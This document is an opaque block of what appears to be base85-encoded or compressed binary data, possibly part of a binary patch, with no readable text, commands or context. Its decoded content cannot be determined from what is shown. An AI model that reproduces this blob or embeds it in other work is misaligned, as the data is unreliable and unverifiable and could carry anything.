zYKdu07nG9FSw{2&ldT|S)q|qTGeU+79X*&8n;gsQz~l+C=l0v9`5a~0RgmSP;P~gy z-S)rhhTPrw8eAm;0Mz>)wx`%~(0|(?r|2?kX>K0135;*>IBm%l{=OAO$mY(J6P`=) z5y?hQZVOJ_0n6krk5sSmsEgv~(y>;=*o3OP=y~^W)Ut zO$AwP_x|;L&cPszx+t71Uq~TV%Fpk=oml&lJIXo$$9|>|Z`(;v9hl$-9@F0WC<{as z2R=%v3Pp{;F=c;gNi`g`M4uwysIJ&a`qtFKB>t0%SrFJ;_iVt}Qh(?2{tFI$rc-|G?2a3`HtMzeH>J`G;rpHF|O zEc^a2AYm>a!ppOBuf}e#dh~;qEIISC7p{H>3)x|pYfx7&(z8TCXY zFWbK}#2FQ_-!KH-c`-Rhnt ze23l}04HeA{yjsX#JiVzA9JRwqpaNtrfgqzE&6%bUCEVmw3ZVw41h@0I}`QYRv2ji zN1QX%PBS|uhA`D~wa&y#GAOXeGPA$-bxe%U6l-68rJ9zr+P2Ba7qCUZ9u~$|jR<0ixXsB|mDFKzH{=vuF& zns6%%+$w-9I4p-4kyE;^D>+-s=T$v^sN{x1*9MabFHt@lA~;zqY2YN2SIs!V;3gfC zJuS;1@B}Q}s_Z)@7WG!K_ewAgnO>vNd``OMGXZ?iFHU(wb32R-5(J->f++G5f6Bs#T<}lco+5q8 zgzIuoia)}-6;M*;yvZ{2V?zAtNm7a`Zdt3D%^ui;u5)7oRvY8Ek1}C3oqK`Q*@fwH z+rQ1||620|>Ai;+I+H|e3|ps6=Up+$H0s}Q3|LV&3Ya()=Krc9gV}rU({XDM@6*et zqEU}=U~+M*rAWg=v5&(?{>C02@@HeA&GR#DWT~nBT(`@D-y6dyWrLl2%<}k5Q_&aP zmGRlK-%ZPua{KRwE?uVGa<@opyo$_2T}s+o7;n_%)|f3WuU=Uo*#>((96+|e5uIDX zn_Ax*LD!PaW&nl6$9+BFia?-UnBaHb%&H~*;4t#GYD7!jpt9%Chc4U4Iuz6T0P1YR zC+?5Aw-&vE!`fDv;cUZT3Z-}R7F@SGEvs>>ZFOffCMKdijn#0@EdR8X%YVZsVv6T4 z7%;{Te_}1SZjf&u#~KOiBc9u@RLsU{KYsitBaXB`Vz%zH-AUBqTa><{1wvUx7&@kk zcAZ*MWPqG8QQF#T%Oa@fLEkA(Xy;Xm#Pt4yV~>o~cY)f8%yslIZ9Z_1KF)Rj9|ZEh zbd|ox_@_KlKxg6x7JD+1S09VrxIYCtmf|OkJq}OM_fg(D#sxoFGQ(do`9B09Zxhp5 zXAddoII-3iZd`zb_J5)kShZ!r>`0Fe^g&Aa#zd^9WtVl0ZFl((%i_(8tUhu-jJYbL z_9#=5*7oCRr^UFr!_S04)Nrr)H{yK3<9)4(QgWm`1H(6Qez+X3r!B)TJe~1fD)DY< z*&FLTnM{ieMU9kN`Y8JMzWL;JnS0lXbg+&8c3Y)~LG;mgNVWjujIQoo>o>$oIqNT6*0+V2Ri$()B}`N^==wwr0Sc&$Bs|1f9U1pnKI#kP* z^x#N1QeMr=G&}>9CrKl6vTKTDyuuxJn)Ei+8595Ews@=1%+t8 zvald7t0>Il0HRaQ#-DW*9iHxR*xci`<58Dj{oyhnqjjcI-k6rbQlWBCS^1PrOC3T^ zTtZII&n{U=c>lSBKMKN=aq{p{TUOoaQ8It9u}!9OeZi+MVshwQRX^n8{i&+J!#LaL z`dQp;&Ll#>ku3fndQ$`As@k<0C|t-ezYSHug=Eqe{iO{{>iz>CE^L*K5i*IMAOmA_ z2gji+etq$0=;lkxwQotaZ@I*8)KkJru@#qdWjFgP;fv_)=e_3#U&q|-SqNXpvAJ!G z=7WU0+lo7(*$M9yMI|;~bjz{MFNQT1tVmc}1ckg}M`0VCN{s==b_x4qa-4}J>F*V%k~&RCyRm1E&UFF}?+{r!k+%YIPfqIEvUZTD-` z1v#gv${V6E4h{8o516w{)g_milM>kD&0(qq3Z3`~9ZKxzz0Ixa=oXvpfw7x5s%So} zGN?pfUENAj`JyDGsX$)FZdNe=FJ;6f6FK$;u@{%wh78fb{3Oe6c@r+8vn%3tO!qq; zg}tau*?v!J|4~o)jT?ck7d6~WnV3$FYpXvrIt<`ysUEhkc`bFzsQ5DADR+KoSmR`V z3@pURiI71=P3PZg$dt^@c_+wTsXRH!JnUqL`Jl^t zWMA;%+Dz21-p)9`XD;v@m$=a&RtD=8f4qA6oe|0y@vZxrh$kK#E-3 zdue3Gdyl?<-mWBW zdOmt|k}>T$p;qa%$5U%0(#bE-`2>0|9Mc8JjjR7=3>#YxdkC`{%kLY1a;#YTL2J1b z&f1og#|S=p1Lz|{*S1B`C%ri&p5*e)5b@}g|0MOe!2NxN`t>Vc#usyl%8A3XC#(Xs z!-e{{`Gfyl^`oE2$<~p!=s%8x{)dKYz1oCQ&a&6T8ZjrloBt@iS zmcgExzSP|i5_<9f